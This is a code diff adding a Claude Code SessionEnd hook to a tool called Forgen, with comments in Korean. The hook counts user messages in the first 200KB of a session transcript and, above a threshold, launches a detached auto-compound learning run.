60
+ // 0) ADR-015: host 한정 훅 (예: SessionEnd 는 Claude 전용 — Codex hooks.json 바이트 동일성 유지)
61
+ if (hook.hosts && !hook.hosts.includes(runtime))
62
+ return false;
60
63
  // 1) hook-config.json에서 명시적 비활성화 (releaseMode 시 무시)
61
64
  if (!releaseMode && !isHookEnabled(hook.name))
62
65
  return false;
@@ -0,0 +1,34 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Forgen — SessionEnd Hook (ADR-015 C-G6, Claude Code 전용)
4
+ *
5
+ * Claude Code `SessionEnd` (reason: clear|resume|logout|prompt_input_exit|other, 기본 예산 1.5s)
6
+ * 에서 이전 세션 transcript 를 auto-compound 러너에 넘긴다. 기존 트리거(Stop / PreCompact /
7
+ * 다음 SessionStart) 는 Stop 이 안 오는 종료(Ctrl+C, /exit 직후 종료) 와 "마지막 컴팩션 이후
8
+ * 학습" 을 놓쳤다 (memory: forgen-autocompound-gap). runAutoCompound 의 in-flight/cooldown dedup
9
+ * 이 이중 실행을 막는다.
10
+ *
11
+ * - 예산(기본 1.5s, registry timeout 3s 로 상향) 안에 끝나야 하므로: stdin 파싱 → user 메시지 수
12
+ * (앞 200KB 만 읽음, 대용량 transcript 보호) → detached spawn.
13
+ * - Codex 에는 등록하지 않는다 (hooks.json 바이트 동일성 = 훅 신뢰 유지). Codex 의 SessionEnd 는
14
+ * hooks.json 변경이 필요한 다음 메이저에서 함께 추가.
15
+ * - fail-open: 어떤 실패도 종료를 막지 않는다.
16
+ */
17
+ /** session-recovery 와 동일 임계값 — 짧은 세션은 compound 가치가 없다. */
18
+ export declare const MIN_USER_MESSAGES = 10;
19
+ export interface SessionEndInput {
20
+ session_id?: string;
21
+ transcript_path?: string;
22
+ cwd?: string;
23
+ reason?: string;
24
+ }
25
+ /** 앞 N바이트만 읽는 상한. critic 2026-10-01: 239MB transcript 전체 스트리밍은 3.2s → 예산 초과로 SIGKILL. */
26
+ export declare const COUNT_SCAN_BYTES: number;
27
+ /**
28
+ * user 메시지 수를 transcript 앞 COUNT_SCAN_BYTES 만 읽어 센다 (session-recovery 와 동일 방식).
29
+ * 임계값(MIN_USER_MESSAGES) 판정에만 쓰이므로 하한 추정으로 충분하다. 큰 transcript 에서도 O(200KB).
30
+ */
31
+ export declare function countUserMessagesBounded(transcriptPath: string, maxBytes?: number): number;
32
+ /** 순수 판정: 이 입력으로 auto-compound 를 띄울지. (테스트 대상) */
33
+ export declare function shouldRunSessionEndCompound(input: SessionEndInput | null, userMessageCount: number): boolean;
34
+ export declare function main(): Promise<void>;
@@ -0,0 +1,100 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Forgen — SessionEnd Hook (ADR-015 C-G6, Claude Code 전용)
4
+ *
5
+ * Claude Code `SessionEnd` (reason: clear|resume|logout|prompt_input_exit|other, 기본 예산 1.5s)
6
+ * 에서 이전 세션 transcript 를 auto-compound 러너에 넘긴다. 기존 트리거(Stop / PreCompact /
7
+ * 다음 SessionStart) 는 Stop 이 안 오는 종료(Ctrl+C, /exit 직후 종료) 와 "마지막 컴팩션 이후
8
+ * 학습" 을 놓쳤다 (memory: forgen-autocompound-gap). runAutoCompound 의 in-flight/cooldown dedup
9
+ * 이 이중 실행을 막는다.
10
+ *
11
+ * - 예산(기본 1.5s, registry timeout 3s 로 상향) 안에 끝나야 하므로: stdin 파싱 → user 메시지 수
12
+ * (앞 200KB 만 읽음, 대용량 transcript 보호) → detached spawn.
13
+ * - Codex 에는 등록하지 않는다 (hooks.json 바이트 동일성 = 훅 신뢰 유지). Codex 의 SessionEnd 는
14
+ * hooks.json 변경이 필요한 다음 메이저에서 함께 추가.
15
+ * - fail-open: 어떤 실패도 종료를 막지 않는다.
16
+ */
17
+ import * as fs from 'node:fs';
18
+ import * as path from 'node:path';
19
+ import { fileURLToPath } from 'node:url';
20
+ import { createLogger } from '../core/logger.js';
21
+ import { readStdinJSON } from './shared/read-stdin.js';
22
+ import { isHookEnabled } from './hook-config.js';
23
+ import { approve } from './shared/hook-response.js';
24
+ import { recordHookTiming } from './shared/hook-timing.js';
25
+ const log = createLogger('session-end');
26
+ /** session-recovery 와 동일 임계값 — 짧은 세션은 compound 가치가 없다. */
27
+ export const MIN_USER_MESSAGES = 10;
28
+ /** 앞 N바이트만 읽는 상한. critic 2026-10-01: 239MB transcript 전체 스트리밍은 3.2s → 예산 초과로 SIGKILL. */
29
+ export const COUNT_SCAN_BYTES = 200 * 1024;
30
+ /**
31
+ * user 메시지 수를 transcript 앞 COUNT_SCAN_BYTES 만 읽어 센다 (session-recovery 와 동일 방식).
32
+ * 임계값(MIN_USER_MESSAGES) 판정에만 쓰이므로 하한 추정으로 충분하다. 큰 transcript 에서도 O(200KB).
33
+ */
34
+ export function countUserMessagesBounded(transcriptPath, maxBytes = COUNT_SCAN_BYTES) {
35
+ const fd = fs.openSync(transcriptPath, 'r');
36
+ try {
37
+ const buf = Buffer.alloc(maxBytes);
38
+ const bytesRead = fs.readSync(fd, buf, 0, buf.length, 0);
39
+ const content = buf.toString('utf-8', 0, bytesRead);
40
+ let n = 0;
41
+ for (const line of content.split('\n')) {
42
+ try {
43
+ const t = JSON.parse(line).type;
44
+ if (t === 'user' || t === 'queue-operation')
45
+ n += 1;
46
+ }
47
+ catch { /* partial last line / non-JSON */ }
48
+ }
49
+ return n;
50
+ }
51
+ finally {
52
+ fs.closeSync(fd);
53
+ }
54
+ }
55
+ /** 순수 판정: 이 입력으로 auto-compound 를 띄울지. (테스트 대상) */
56
+ export function shouldRunSessionEndCompound(input, userMessageCount) {
57
+ if (!input || typeof input.transcript_path !== 'string' || input.transcript_path.length === 0)
58
+ return false;
59
+ return userMessageCount >= MIN_USER_MESSAGES;
60
+ }
61
+ export async function main() {
62
+ const start = Date.now();
63
+ try {
64
+ const input = await readStdinJSON();
65
+ if (!isHookEnabled('session-end') || !input) {
66
+ console.log(approve());
67
+ return;
68
+ }
69
+ const { runAutoCompound } = await import('../core/spawn.js');
70
+ const transcript = input.transcript_path ?? '';
71
+ let count = 0;
72
+ if (transcript && fs.existsSync(transcript)) {
73
+ try {
74
+ count = countUserMessagesBounded(transcript);
75
+ }
76
+ catch (e) {
77
+ log.debug('user message count 실패', e);
78
+ }
79
+ }
80
+ if (shouldRunSessionEndCompound(input, count)) {
81
+ const cwd = input.cwd ?? process.cwd();
82
+ const sessionId = input.session_id ?? path.basename(transcript, '.jsonl');
83
+ const status = runAutoCompound(cwd, transcript, sessionId, count);
84
+ log.debug(`SessionEnd auto-compound: ${status} (reason=${input.reason ?? '?'}, msgs=${count})`);
85
+ }
86
+ console.log(approve());
87
+ }
88
+ catch (e) {
89
+ log.debug('session-end 실패 (fail-open)', e);
90
+ console.log(approve());
91
+ }
92
+ finally {
93
+ recordHookTiming('session-end', Date.now() - start, 'SessionEnd');
94
+ }
95
+ }
96
+ if (process.argv[1] && fs.realpathSync(path.resolve(process.argv[1])) === fileURLToPath(import.meta.url)) {
97
+ main().catch(() => {
98
+ console.log(approve());
99
+ });
100
+ }